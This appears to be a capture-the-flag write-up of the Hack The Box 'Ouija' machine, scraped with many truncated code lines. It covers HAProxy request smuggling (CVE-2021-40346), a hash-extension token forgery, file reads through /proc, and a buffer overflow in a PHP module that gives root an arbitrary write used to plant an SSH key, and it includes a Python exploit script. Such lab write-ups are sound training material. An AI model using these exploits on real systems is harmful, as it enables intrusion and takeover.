HTB Ouija
HTB Ouija
HTB: Ouija
🏷 hackthebox ctf htb-ouija nmap feroxbuster
request-smuggling integer-overflow burp-repeater
burp burp-proxy subdomain gitea haproxy cve-2021-40346
file-read proc hash-extender hash-extension youtube python
reverse-engineering php-module gdb peda ghidra bof arbitrary-write
May 18, 2024
Box Info
Name Ouija
Play on HackTheBox
OS Linux
Hard [40]
Base Points
Insane
Insane [50]
[50]
Rated Difficulty
Name Ouija
Play on HackTheBox
Radar Graph
04:40:41
19:50:57
Creator
Recon
nmap
nmap finds three open TCP ports, SSH (22) and HTTP (80, 3000):
Based on the OpenSSH and Apache versions, the host is likely running
Ubuntu 22.04 jammy.
Website - TCP 80
Site
ouija.htb - TCP 80
Site
HTB has moved away from players just assuming that [boxname].htb is
the domain for the box in favor of always showing that to the HTB player in
some way, but somehow in this box that got messed up. On adding
ouija.htb to my /etc/hosts file, there’s a new site:
There’s not much of interest here. All the links go to places on the same
page. There’s an email, [email protected] at the bottom. The contact form
at the bottom has some client-side validation, but on clicking submit there’s
a POST to /contactform/contactform.php that returns a 404.
One other thing to note is that on loading the page, because I have
configured Burp to capture all .htb requests, I’ll notice it’s loading two
resources from gitea.ouija.htb :
Tech Stack
HTTP/1.1 200 OK
date: Tue, 14 May 2024 16:38:33 GMT
server: Apache/2.4.52 (Ubuntu)
last-modified: Tue, 21 Nov 2023 12:26:11 GMT
etag: "4661-60aa8b531fec0-gzip"
accept-ranges: bytes
vary: Accept-Encoding
Content-Length: 18017
content-type: text/html
connection: close
Even if I don’t think the site is PHP, I’ll add it to feroxbuster just in case:
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.244
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdoma
:: Header : Host: FUZZ.ouija.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
________________________________________________
There seems to be something blocking anything that starts with “dev”. That
suggests some kind of proxy or WAF. And that dev.ouija.htb might be
an interesting domain. I’ll update my /etc/hosts :
The HTTP response headers don’t have the Apache server header:
gitea.ouija.htb - TCP 80
This is an instance of Gitea, the open-source hosted Git application. There’s
an option to register, but all I need is available in the one public repo,
ouija-htb from the leila user. The repo has the files for the main site:
Brute Force
Shell as leila
Access dev.ouija.htb
Identify CVE-2021-40346
NVD says this is fixed in 2.2.16, but the post from JFrog (who found the
vulnerability) says:
This vulnerability was fixed in versions 2.0.25, 2.2.17, 2.3.14 and 2.4.4 of
HAProxy.
CVE-2021-40346 Background
The issue here is how HA Proxy handles requests in two stages with a POC
like this:
HA Proxy parses this in two passes. In the first pass, it reaches the third line
and parses it into a structure that has 1 byte for the header name length,
and then the header name. Because this header is 270 bytes, there’s an
overflow, as the binary for 270 is 100001110 (nine bits). As the struct can
only hold 8, it stores 00001110, which is 14. The value of the header is
stored in the same way. The length would be 0 (as there is no data after the
“:”), but the extra 1 from the header name size actually ends up here, giving
this header a length of 1, and a value of “0”. Still on the first pass, it see the
Content-Length header of 60, and uses it to read the body to the end of
the request.
On the next pass, HA Proxy passes over the struct and reached the
malformed header which is now saved as 14 bytes long, so it matches
“Content-Length”, with a value of “0” (1 byte long). The next header is
ignored as a duplicate. So it forwards on this as a single request:
When the client gets this, it reads the first request, understanding it to be 0
in length, and parses up to just before the “G”. Then it assumes this is
another request, coming over the same connection, and processes it as well.
This means the attack has successfully bypassed HA Proxy’s block on
/admin/ .
Smuggling POCs
To exploit this, I’ll send a request to / to Burp Repeater, and update the
headers to look like the POC. I had to play with this a lot to get it working,
and found that starting another request at the end made it much more
stable. So it looks like this:
The Content-Length is the distance from the start of the second request
to the start of the third. That way the request sent from HA Proxy will cut off
there. Having the third request seems to make it much more stable.
It’s very important to uncheck the Burp option to “Update Content-Length”,
which it typically checked by default (and in each new repeater window):
When I send this, the response looks like the normal response for
ouija.htb :
The second response is just appended to the first, and it got the Gitea site!
I’ll update the host in the second request from gitea to dev , and subtract
two from the Content-Length to account for that:
It returns dev.ouija.htb .
Read dev.ouija.htb
Site Root
I can copy the HTML and open it in Firefox to see what it looks like:
The CSS doesn’t load, but the general page is clear. The link to app.js is
http://dev.ouija.htb/editor.php?file=app.js , and init.sh is the
same path with an updated file argument.
Read Files
I’ll update the request and Content-Length again, and get editor.php
with the app.js file, which shows the loaded file in a text field element:
editor.php
<?php ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Text Editor</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<h1>Text Editor</h1>
<div class="container">
<h3><?php
if(isset($_GET['file'])) {
echo $_GET['file'];
} else {
echo "No file selected";
}
?></h3>
<textarea name="content" id="content" cols="30" rows="1
if(isset($_GET['file'])) {
$filename = $_GET['file'];
$url = "uploads/$filename";
echo file_get_contents($url);
} else {
echo "Choose a file in order to edit it.";
}
?></textarea>
<button type="submit">Save</button>
</div>
</body>
<footer>
© 2023 ouija software
</footer>
</html>
API Analysis
init.sh
exit 1
This script…is full of errors and wouldn’t actually do anything it’s claiming to
do, but I’m going to try to learn from it anyway.
The most important things are the two environment variables, botauth_id
and hash , which I’ll note. I can try to read /opt/auth/api.key , but it
doesn’t return.
There’s also a symbolic link created in the init, putting /proc in the current
directory.
I can try to use these two as headers requested by /users on the API:
app.js
The app.js file is the source code for the API on TCP 3000:
if(verify_cookies(q.headers['identification'], q.headers['i
r.json("Invalid Token");
}
else if (!(d(q.headers['identification']).includes("::admin
r.json("Insufficient Privileges");
}
}
This code is very clearly AI generated, as it does all sorts of silly things (like
checking twice in the /login function if the arguments are provided).
app.get("/file/get",(q,r,n) => {
ensure_auth(q, r);
if(!q.query.file){
r.json({"message":"?file= i required"});
}else{
let file = q.query.file;
if(file.startsWith("/") || file.includes('..') || file.
r.json({"message":"Action not allowed"});
}else{
fs.readFile(file, 'utf8', (e,d)=>{
if(e) {
r.json({"message":e});
}else{
r.json({"message":d});
}
});
}
}
});
While I already have file read on the dev site, this is likely running on a
different host/container (as evidenced by the fact that the
/opt/auth/api.key file isn’t on dev ) and is worth pursuing.
ensure_auth
This function has the same call to ensure_auth that /users has:
function ensure_auth(q, r) {
if(!q.headers['ihash']) {
r.json("ihash header is missing");
}
else if (!q.headers['identification']) {
r.json("identification header is missing");
}
if(verify_cookies(q.headers['identification'], q.headers['i
r.json("Invalid Token");
}
else if (!(d(q.headers['identification']).includes("::admin
r.json("Insufficient Privileges");
}
}
d takes a string, base64 decodes it, and then hex decodes it:
function d(b){
s1=(Buffer.from(b, 'base64')).toString('utf-8');
s2=(Buffer.from(s1.toLowerCase(), 'hex'));
return s2;
}
So to use the token, I need to take the identifier, convert it to hex, and the
base64 (something no reasonable programmer would ever do, but ok).
I can try that with the identifier and hash from init.sh :
That means I’ve got a valid token, it just doesn’t include ::admin:True .
generate_cookies
function generate_cookies(identification){
var sha256=crt.createHash('sha256');
wrap = sha256.update(key);
wrap = sha256.update(identification);
hash=sha256.digest('hex');
return(hash);
}
It takes a SHA256 hash of an unknown key plus the identifier and returns
the hex hash. Without knowing the key , I can’t just calculate the hash for
the identification I want.
There is a well known attack against a situation like this where there’s some
unknown secret prepended to data and then hashed called a hash
extension attack. The attack is against how hashes are calculated. Hashes
take in any amount of data and return a fixed size fingerprint. To do that,
they read in some block size, perform some calculations arriving at some
state. Then they read in the next block, combine it with the previous state,
and get a new state. Once all the data is read, the state is used to generate
the fingerprint.
The attack is that I don’t have to know the data that went into the hash to
recreate the state at the end from the hash. That means I can append
additional data and work from that state to get the correct hash of the new
data.
hash_extender
There’s a great tool for doing the hash extension attack, hash_extender. The
README.md has a lot of detail about how the attack works.
Find Length
The obvious way to find the right secret length is just to brute force it. I
could do this in Bash, but to practice some of the better Python techniques
I’ve been developing lately I’ll develop in Python, shown in this video:
Watch on
#!/usr/bin/env python3
import requests
import subprocess
from base64 import b64encode
data = "bot1:bot"
append = "::admin:True"
signature = "4b22a0418847a51650623a458acc1bba5c01f6521ea6135872
class HashExtender:
"""/opt/hash_extender/hash_extender --data 'bot1:bot' --app
135872b9f15b56b988c1 --format sha256 --secret 8"""
@classmethod
def generate(cls, secret_length: int, orig_data: str, appen
he = cls(secret_length, orig_data, append_data, signatu
he.calculate()
return he
@property
def encoded_new_data(self) -> str:
return b64encode(self.new_data.encode()).decode()
print(he)
real 0m4.618s
user 0m0.155s
sys 0m0.005s
oxdf@hacky$ curl http://ouija.htb:3000/users -H "ihash: 14be2f4a
{"message":"Database unavailable"}
File Read
/proc
I’ll note that the process is running as leila, who has home directory
/home/leila .
Escape
One of the files in /proc for a given process is root , which is a symbolic
link to the root of the filesystem. This is used for processes running in jails
or containers:
oxdf@hacky$ ls -l root
lrwxrwxrwx 1 oxdf oxdf 0 May 15 12:39 root -> /
Using this, I can read basically any file that leila can read:
SSH
With that key, I can connect to Ouija with SSH as leila:
Shell as root
Enumeration
Home Directories
leila@ouija:~$ ls -la
total 36
drwxr-x--- 5 leila leila 4096 Nov 22 12:58 .
drwxr-xr-x 3 root root 4096 Nov 22 12:13 ..
lrwxrwxrwx 1 root root 9 Jun 26 2023 .bash_history -> /dev
-rw-r--r-- 1 leila leila 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 leila leila 3771 Jan 6 2022 .bashrc
drwx------ 2 leila leila 4096 Nov 22 12:13 .cache
drwxrwxr-x 3 leila leila 4096 Nov 22 12:13 .local
-rw-r--r-- 1 leila leila 807 Jan 6 2022 .profile
drwx------ 2 leila leila 4096 Nov 22 12:13 .ssh
-rw-r----- 1 root leila 33 Jun 26 2023 user.txt
There’s no other home directory and no other non-root user with a shell:
leila@ouija:/home$ ls
leila
leila@ouija:/home$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
leila:x:1000:1000:helper:/home/leila:/bin/bash
Processes
leila@ouija:~$ ps auxww
USER PID %CPU %MEM VSZ RSS TTY STAT START TI
leila 848 0.0 2.1 668208 87272 ? Ssl May13 0:
leila 1692 0.2 4.2 1401124 172216 ? Ssl May13 11:
leila 1223029 3.5 0.2 17316 10020 ? Ss 21:55 0:
leila 1223143 0.6 0.1 8672 5468 pts/0 Ss 21:55 0:
leila 1223163 0.0 0.0 10068 1600 pts/0 R+ 21:55 0:
Network Listeners
Internal Website
Service
[Unit]
Description=VERTICA
[Service]
User=root
WorkingDirectory=/development/server-management_system_id_0
ExecStart=/usr/bin/php -S 127.0.0.1:9999
Restart=always
[Install]
WantedBy=multi-user.target
/development
The /development folder also stands out as an interesting non-standard
directory in the filesystem root:
leila@ouija:/development$ ls
gov-management_system_id_386 gym-management_system_id_385 scho
Most of the folders aren’t interesting. utils has a debug.php file that’s
used by the running service:
<?php
function init_debug(){
system("rm .debug 2>/dev/null");
mkdir(".debug");
copy("/proc/self/maps", ".debug/maps");
$F = fopen(".debug/i", "w") or die('error in op
fwrite($F, "1");
fclose($F);
}
function dprint($m,$va){
if(info__index__wellcom::$__DEBUG){
//
}
}
?>
This is a super weird file, creating copies of /proc files and writing “1” to
another. They are both present:
leila@ouija:/development/server-management_system_id_0$ ls .debu
i maps
Website
I’ll use SSH to forward 9999 on my box to 9999 on localhost and load the
page in Firefox:
It’s just a simple login form. Submitting bad creds just loads an empty page,
thought it’s trying to show an alert about bad creds.
PHP Source
<?php
if(isset($_POST['username']) && isset($_POST['password'
// system("echo ".$_POST['username']." > /tmp/LOG")
if(say_lverifier($_POST['username'], $_POST['pa
session_start();
$_SESSION['username'] = $_POST['usernam
$_SESSION['IS_USER_'] = "yes";
$_SESSION['__HASH__'] = md5($_POST['use
header('Location: /core/index.php');
}else{
echo "<script>alert('invalid credential
}
}
?>
leila@ouija:/development/server-management_system_id_0$ grep -r
./.debug/maps:7f803eac7000-7f803eac8000 r--p 00000000 fd:00 3098
./.debug/maps:7f803eac8000-7f803eac9000 r-xp 00001000 fd:00 3098
./.debug/maps:7f803eac9000-7f803eaca000 r--p 00002000 fd:00 3098
./.debug/maps:7f803eaca000-7f803eacb000 r--p 00002000 fd:00 3098
./.debug/maps:7f803eacb000-7f803eacc000 rw-p 00003000 fd:00 3098
./index.php: if(say_lverifier($_POST['username'], $_P
Set Up Debugging
PHP Console
To interact with this plugin, I’ll want to load it into a local PHP shell using
the dl function. But dl won’t work by default:
enable_dl = On
This gist shows that I’m running PHP 8.1, but it wants PHP 8.2. I’ll follow the
instructions here to upgrade. If I run 8.2 and try again, I’ll be right back at
the start, needing to enable dl in /etc/php/8.2/cli.php.in , copy the
.so file into /usr/lib/php/20220809 and make it executable:
Now it loads!
It’s interesting that it’s asking for the shadow file. If I run as root:
GDB
To debug this code, I’ll use gdb with Peda. To start, I’ll run:
oxdf@hacky$ sudo gdb -q --args php -a
Reading symbols from php...
(No debugging symbols found in php)
gdb-peda$
Now I want to load the module. I’ll use r to run, and then interact with
PHP:
gdb-peda$ r
Starting program: /usr/bin/php -a
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread
Interactive shell
At this point I’ll Ctrl-c to break back to gdb , and entry the breakpoint (I’ll
show where that function name comes from shortly):
gdb-peda$ b validating_userinput
Breakpoint 1 at 0x7ffff351c850: file /home/kali/Desktop/programm
It’s also worth noting that the author left some of the source symbols in the
binary, which is why it shows the full path to the login.c file from the
author’s computer when I put in the breakpoint. If I run info functions ,
there’s a ton of output, including the functions listed per source file:
File /home/kali/Desktop/programming/CHALLS/hackthebox-MACHINE-DE
8: void __abort(char *);
12: void d(char *);
24: int event_recorder(char *, char *);
14: int get_clean_size(char *);
90: int get_the_salt(char *, char *, char *);
56: int get_user_and_pwd(char *, int, char *, char *);
80: int load_users(char *, char *);
20: void update(char *, char *);
160: int validating_userinput(char *, char *);
114: int verify_login(char *, char *, const char *, int, char
lverifier.so
Entry
I’ll start there. The structure of this function should look like the example
here:
PHP_FUNCTION(fahrenheit_to_celsius)
{
double f;
RETURN_DOUBLE(php_fahrenheit_to_celsius(f));
}
zend_parse_parameters
(*(undefined4 *)(execute_data + 0x2c),&ss,&username
;
iVar1 = validating_userinput(username,password);
*(uint *)(return_value + 8) = (iVar1 == 1) + 2;
return;
}
The value saved here (I’ve named short_username_len ) is then again used
at the end of the function:
_______________
| new_buffer |
|_______________|
| log_path |
|_______________|
| log_data |
|_______________|
| ... |
|_______________|
| username_copy |
|_______________|
validating_userinput - Copying #1
The next block is also confusing, but playing with it in gdb shows it’s not
too complex:
If the username is greater than 800 long (based on the strlen response,
not the calculation), then it effectively does a memcpy to get 800 bytes at
(1), storing it into a buffer on the stack I’m calling username_copy . In
assembly it looks like:
validating_userinput - Copying #2
This time it copies 800 bytes (fixed size) from the username_copy buffer to
the dynamically sized buffer. This is where it breaks if the username was less
than 800. If the username was 15 long, then it copied 15 into that buffer,
leaving 785 bytes of junk. Now we copy 800 bytes into a 15 byte buffer,
overflowing the junk into other variables log_data and log_path
(preview of what’s to come).
validating_userinput - Calls
Now that it’s prepped all this data by weirdly copying it around, it uses it to
make three function calls:
I believe lines 154, 156, and 158 are just misinterpretations by Ghidra when
decompiling.
event_recorder
This function has a bunch of Ghidra cruft, but it seems to be very simple:
{
long len;
long i;
char *ptr;
Arbitrary Write
Strategy
I’ve noted that the username will be copied into an 800 byte buffer, and
then that entire buffer will be copied into another buffer that’s the size of
the username input, overflowing the log file path and data if the username
is less than 800 bytes. That on its own is not enough to edit these, as any
data I enter is counted in the length and thus ends up in the dynamic
buffer, and only junk after overwrites.
There’s an integer overflow in the calculation of the length for the size of
the dynamic buffer, as the variable used to calculate the size is a 16bit short.
So if I submit a name longer than 65535 bytes, the calculated size of the
dynamic buffer will be small, but it will still copy 800 bytes in, all of which I
control.
When it hits that breakpoint, RAX holds the value calculated as 10 plus the
length rounded up to a multiple of 16. So I’d expect 8 + 10 –> 32 (0x20),
which matches:
[----------------------------------registers--------------------
RAX: 0x20 (' ')
RBX: 0x7ffff5269400 ("password123")
RCX: 0x51 ('Q')
RDX: 0x8
RSI: 0x676f6c2e7265 ('er.log')
RDI: 0x7fffffffc5f0 --> 0xd68 ('h\r')
RBP: 0x7fffffffcbc0 --> 0x2
RSP: 0x7fffffffc550 ("/var/log/lverifi\202\t")
RIP: 0x7ffff351c8bf (<validating_userinput+111>: sub r
R8 : 0x7fffffffcbe8 --> 0xb ('\x0b')
R9 : 0x0
R10: 0x2
R11: 0x1
R12: 0x7ffff52693d8 ("username")
R13: 0x7fffffffcd10 --> 0x3e003e0000000000 ('')
R14: 0x7ffff5212020 --> 0x7ffff5281060 --> 0x5555558bcf33 (<exec
R15: 0x7ffff5281060 --> 0x5555558bcf33 (<execute_ex+14339>:
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT dire
[-------------------------------------code----------------------
0x7ffff351c8ad <validating_userinput+93>: movaps XMMWORD P
0x7ffff351c8b4 <validating_userinput+100>: and rax,0xfff
0x7ffff351c8b8 <validating_userinput+104>: movaps XMMWORD P
=> 0x7ffff351c8bf <validating_userinput+111>: sub rsp,rax
0x7ffff351c8c2 <validating_userinput+114>: xor eax,eax
0x7ffff351c8c4 <validating_userinput+116>: movaps XMMWORD P
0x7ffff351c8cb <validating_userinput+123>: rep stos QWORD P
0x7ffff351c8ce <validating_userinput+126>: mov r13,rsp
[------------------------------------stack----------------------
0000| 0x7fffffffc550 ("/var/log/lverifi\202\t")
0008| 0x7fffffffc558 ("/lverifi\202\t")
0016| 0x7fffffffc560 --> 0x982
0024| 0x7fffffffc568 --> 0x0
0032| 0x7fffffffc570 --> 0x0
0040| 0x7fffffffc578 --> 0x0
0048| 0x7fffffffc580 --> 0x0
0056| 0x7fffffffc588 --> 0x0
[---------------------------------------------------------------
Legend: code, data, rodata, value
[----------------------------------registers--------------------
RAX: 0x7fffffffc880 --> 0x0
RBX: 0x7ffff5269400 ("password123")
RCX: 0x0
RDX: 0xffff
RSI: 0x676f6c2e7265 ('er.log')
RDI: 0x7fffffffc878 --> 0x0
RBP: 0x7fffffffcbc0 --> 0x0
RSP: 0x7fffffffc540 --> 0x555555dcd0d0 --> 0x555555dcd
RIP: 0x7ffff351c92a (<validating_userinput+218>: jbe 0
R8 : 0x7fffffffcbe8 --> 0xb ('\x0b')
R9 : 0x0
R10: 0x2
R11: 0x1
R12: 0x7ffff52a0018 ('A' <repeats 200 times>...)
R13: 0x7fffffffc540 --> 0x555555dcd0d0 --> 0x555555dcd
R14: 0x7ffff5212020 --> 0x7ffff52820e0 --> 0x5555558bcf33 (<exec
R15: 0x7ffff52820e0 --> 0x5555558bcf33 (<execute_ex+14339>:
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT dire
[-------------------------------------code----------------------
0x7ffff351c916 <validating_userinput+198>: mov DWORD PTR
0x7ffff351c91c <validating_userinput+204>: movaps XMMWORD P
0x7ffff351c923 <validating_userinput+211>: cmp rdx,0x320
=> 0x7ffff351c92a <validating_userinput+218>: jbe 0x7ffff35
0x7ffff351c930 <validating_userinput+224>: mov ecx,0x64
0x7ffff351c935 <validating_userinput+229>: mov rdi,rax
0x7ffff351c938 <validating_userinput+232>: mov rsi,r12
0x7ffff351c93b <validating_userinput+235>: rep movs QWORD P
JU
[------------------------------------stack----------------------
0000| 0x7fffffffc540 --> 0x555555dcd0d0 --> 0x555555dcd
0008| 0x7fffffffc548 --> 0x7ffff351c86d (<validating_userinput+2
0016| 0x7fffffffc550 ("/var/log/lverifier.log")
0024| 0x7fffffffc558 ("/lverifier.log")
0032| 0x7fffffffc560 --> 0x676f6c2e7265 ('er.log')
0040| 0x7fffffffc568 --> 0x0
0048| 0x7fffffffc570 --> 0x0
0056| 0x7fffffffc578 --> 0x0
[---------------------------------------------------------------
“JUMP is NOT taken”. RDX what is compared to 0x320, and it’s 0xFFFF.
Calculating Offsets
Rather than do math, I’ll use a pattern to find out how to overwrite the
values passed to event_recorder using pattern_create :
oxdf@hacky$ pattern_create -l 65535 > pattern
I’ll read the pattern from PHP and send it as the username:
[----------------------------------registers--------------------
RAX: 0x0
RBX: 0x7ffff5269388 ("doesnotmatter")
RCX: 0x7ffff76c2a00 --> 0x0
RDX: 0x0
RSI: 0x7fffffffc5c0 ("2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af
RDI: 0x7fffffffc550 ("a5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8A
RBP: 0x7fffffffcbc0 --> 0x2
RSP: 0x7fffffffc540 ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3
RIP: 0x7ffff351c99c (<validating_userinput+332>: call 0
R8 : 0x7fffffffcbe8 --> 0xd ('\r')
R9 : 0x0
R10: 0x7ffff351d04d --> 0x3232303249504100 ('')
R11: 0x1
R12: 0x7fffffffc550 ("a5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8A
R13: 0x7fffffffc540 ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3
R14: 0x7fffffffc5c0 ("2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af
R15: 0x7ffff5281060 --> 0x5555558bcf33 (<execute_ex+14339>:
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT dire
[-------------------------------------code----------------------
0x7ffff351c991 <validating_userinput+321>: call 0x7ffff35
0x7ffff351c996 <validating_userinput+326>: mov rsi,r14
0x7ffff351c999 <validating_userinput+329>: mov rdi,r12
=> 0x7ffff351c99c <validating_userinput+332>: call 0x7ffff35
0x7ffff351c9a1 <validating_userinput+337>: mov rsi,rbx
0x7ffff351c9a4 <validating_userinput+340>: mov rdi,r13
0x7ffff351c9a7 <validating_userinput+343>: call 0x7ffff35
0x7ffff351c9ac <validating_userinput+348>: lea rsp,[rbp-
Guessed arguments:
arg[0]: 0x7fffffffc550 ("a5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7A
arg[1]: 0x7fffffffc5c0 ("2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af
[------------------------------------stack----------------------
0000| 0x7fffffffc540 ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab
0008| 0x7fffffffc548 ("2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5A
0016| 0x7fffffffc550 ("a5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8
0024| 0x7fffffffc558 ("Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac
0032| 0x7fffffffc560 ("0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3A
0040| 0x7fffffffc568 ("b3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6
0048| 0x7fffffffc570 ("Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac
0056| 0x7fffffffc578 ("8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1A
[---------------------------------------------------------------
Script POC
I’ll write a short Python script as a proof of concept. It assumed that I have a
tunnel from 9999 on my host to 9999 on Ouija:
#!/usr/bin/env python3
import requests
import sys
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} [path to write] [data to write
exit()
path = sys.argv[1]
data = sys.argv[2]
payload = "A"*16
payload += path + "\n"
payload += "B" * (128 - len(payload))
payload += "\n" + data + "\n"
payload += "C" * (65535 - len(payload))
leila@ouija:~$ ls -l /tmp/0xdf
-rw-r--r-- 1 root root 2016 May 16 20:05 /tmp/0xdf
test
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
test
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7I
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
Appending is nice so I can target the authorized_keys file and it will add,
not overwrite. It’s important to add the newline before the key or it could
end up on the same line as the previous.
SSH
It works!
Buy me a coffee